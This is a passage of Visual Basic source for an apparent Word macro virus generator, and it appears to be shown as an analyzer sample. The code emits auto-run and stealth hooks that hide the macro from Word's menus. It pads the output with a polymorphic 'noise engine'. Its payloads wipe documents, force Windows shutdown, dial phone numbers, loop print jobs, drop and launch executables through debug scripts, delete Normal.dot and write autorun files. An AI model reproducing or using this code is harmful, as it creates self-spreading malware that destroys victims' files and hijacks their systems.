Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build AutoExit Hook

If AEXIT = True Then

    Print #hFile, "Sub AutoExit()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")

If ND = True Then
    Print #hFile, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
    Print #hFile, "        ChangeFileOpenDirectory ""p:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"

    Print #hFile, "        ChangeFileOpenDirectory ""r:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"

    Print #hFile, "        ChangeFileOpenDirectory ""s:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"
End If
    Print #hFile, "End Sub"

End If

' Build AutoExec Hook

If AEXEC = True Then

    Print #hFile, "Sub AutoExec()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build AutoClose Hook

If AC = True Then

    Print #hFile, "Sub AutoClose()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build Stealth Hooks

If Stealth > 0 Or Trigger = 3 Then

    Print #hFile, "Sub ToolsMacro()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Stealth > 1 Then Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Trigger = 3 And Payload < 7 Then Print #hFile, "    Call " + pload$
If Trigger = 3 And Payload = 7 Then
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call startv(""c:\startv.bat"")"
End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If SE = True Then Print #hFile, "MsgBox ""Word Basic Err =7"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Print #hFile, "End Sub"

End If

If Stealth > 0 Or Trigger = 3 Then

    Print #hFile, "Sub FileTemplates()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Stealth > 1 Then Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Trigger = 3 And Payload < 7 Then Print #hFile, "    Call " + pload$
If Trigger = 3 And Payload = 7 Then
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call startv(""c:\startv.bat"")"

End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If SE = True Then Print #hFile, "MsgBox ""Word Basic Err =7"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Print #hFile, "End Sub"
    
End If

If Stealth > 0 Or Trigger = 3 Then

    Print #hFile, "Sub ViewVBCode()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Stealth > 1 Then Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If Trigger = 3 And Payload < 7 Then Print #hFile, "    Call " + pload$
If Trigger = 3 And Payload = 7 Then
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "    If System.OperatingSystem = ""Windows"" Then Call startv(""c:\startv.bat"")"

End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If SE = True Then Print #hFile, "MsgBox ""Word Basic Err =7"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Print #hFile, "End Sub"

End If

' Build Payload

If Trigger > 0 Then

If Payload < 7 Then Print #hFile, "Sub " & pload$ & "()"
If Payload = 7 Then Print #hFile, "Sub " & pload$ & "(strFile As String)"
    
    Print #hFile, "    On Error Resume Next"

If Payload = 1 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    ActiveDocument.FollowHyperlink Address:= _"
    Print #hFile, """" & URL & """ _"
    Print #hFile, "        , NewWindow:=False, AddHistory:=True"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

If Payload = 2 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "        Selection.HomeKey Unit:=wdStory"
    Print #hFile, "        Selection.Find.ClearFormatting"
    Print #hFile, "        Selection.Find.Replacement.ClearFormatting"
    Print #hFile, "        With Selection.Find"
    Print #hFile, "            .Text = """ & ReplaceT & """"
    Print #hFile, "            .Replacement.Text = """ & WithT & """"
    Print #hFile, "            .Forward = True"
    Print #hFile, "            .Wrap = wdFindContinue"
    Print #hFile, "            .Format = False"
    Print #hFile, "            .MatchCase = False"
    Print #hFile, "            .MatchWholeWord = True"
    Print #hFile, "            .MatchAllWordForms = False"
    Print #hFile, "        End With"
    Print #hFile, "        Selection.Find.Execute Replace:=wdReplaceAll"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

If Payload = 3 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
    Print #hFile, "Tasks.ExitWindows"

End If

If Payload = 4 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")

        Print #hFile, "Shell ""dialer.exe"", vbNormalFocus"
        Print #hFile, "SendKeys String:=""" & PhoneNumber & """, wait:=True"
        Print #hFile, "SendKeys String:=""%d"", wait:=True"
    
    Print #hFile, "For x = 1 To 500000"
    Print #hFile, "Next x"

    
    Print #hFile, "    SendKeys String:=""~"", wait:=True"
        Print #hFile, "SendKeys String:=""%h"", wait:=True"
        Print #hFile, "SendKeys String:=""%{F4}"", wait:=True"

Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")


End If

If Payload = 5 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    ActiveDocument.PrintOut"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + pload$

End If

If Payload = 6 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Selection.WholeStory"
    Print #hFile, "    Selection.Delete Unit:=wdCharacter, Count:=1"
    Print #hFile, "    ActiveDocument.Save"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

If Payload = 7 Then Call VirusDropper("c:\windows\desktop\macpoppy.bas")

    
    Print #hFile, "End Sub"

End If

If Payload = 7 Then
    
    Print #hFile, "    "
    Print #hFile, "Sub startv(strFile As String)"
    Print #hFile, "    "
    Print #hFile, "Dim hFile As Long"
    Print #hFile, "Close hFile"
    Print #hFile, "On Error Resume Next"

    Print #hFile, "hFile = FreeFile"
    Print #hFile, "Open strFile For Output Access Write As hFile"
    Print #hFile, "Print #hFile, ""@echo off"""
    Print #hFile, "Print #hFile, ""cd\"""
    Print #hFile, "Print #hFile, ""debug < start.scr > nul"""
If ExeDrop = True Then Print #hFile, "Print #hFile, ""copy start.com start.exe"""
If ExeDrop = True Then Print #hFile, "Print #hFile, ""del start.com"""
    Print #hFile, "Print #hFile, ""del start.scr"""
    Print #hFile, "Print #hFile, ""start"""
If ExeDrop = True Then Print #hFile, "Print #hFile, ""del start.exe"""
If ExeDrop = False Then Print #hFile, "Print #hFile, ""del start.com"""
    Print #hFile, "Print #hFile, ""del startv.bat"""
    Print #hFile, "Close hFile"
    
    Print #hFile, "Shell (""c:\startv.bat""), vbHide"
'    Print #hFile, "Kill (""c:\startv.bat"")"
    
    Print #hFile, "End Sub"
End If




' Build Read-Only Remover

If ROR_X = True Then
    
    Print #hFile, "    "
    Print #hFile, "Sub vBitchES(strFile As String)"
    Print #hFile, "    "
    Print #hFile, "Dim hFile As Long"
 
    Print #hFile, "On Error Resume Next"

 Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
 Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "n$ = NormalTemplate"
 Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
 Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part11$ = ""attrib -h -r """
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "snag$ = ""c:\progra~1\micros~1\templa~1\"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "snag1$ = ""c:\progra~1\micros~2\templa~1\"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part2$ = ""del """
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
 
    Print #hFile, "hFile = FreeFile"
    Print #hFile, "Open strFile For Output Access Write As hFile"
    Print #hFile, "Print #hFile, ""@echo off"""
    Print #hFile, "Print #hFile, Part11$ + snag$ + n$"
    Print #hFile, "Print #hFile, Part11$ + snag1$ + n$"
    Print #hFile, "Print #hFile, Part2$ + snag$ + n$"
    Print #hFile, "Print #hFile, Part2$ + snag1$ + n$"
    Print #hFile, "Print #hFile, ""cls"""
    Print #hFile, "Print #hFile, Part2$ + ""c:\windows\startm~1\programs\startup\msfile.bat"""
    Print #hFile, "Close hFile"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")

    Print #hFile, "End Sub"

End If
    
If ID_X = True Then

    Print #hFile, "Sub dhIconDisco(strFile As String)"

    Print #hFile, "Dim hFile As Long"
    Print #hFile, "On Error Resume Next"
    Print #hFile, "Randomize"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Choice = Int(Rnd * 2)"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "rnn$ = Int(Rnd * 66) + 2"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "rn$ = Int(Rnd * 27) + 1"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part1$ = ""[autorun]"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part2$ = ""icon = c:\windows\system\pifmgr.dll,"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part22$ = ""icon = c:\windows\SYSTEM\shell32.dll,"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part3$ = Part2$ + rn$"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Part33$ = Part22$ + rnn$"


    Print #hFile, "    hFile = FreeFile"
    Print #hFile, "    Open strFile For Output Access Write As hFile"
    Print #hFile, "    Print #hFile, Part1$"
    Print #hFile, "    If Choice = 0 Then"
    Print #hFile, "        Print #hFile, Part3$"
…

Open this report in the interactive analyzer, or submit your own file for analysis.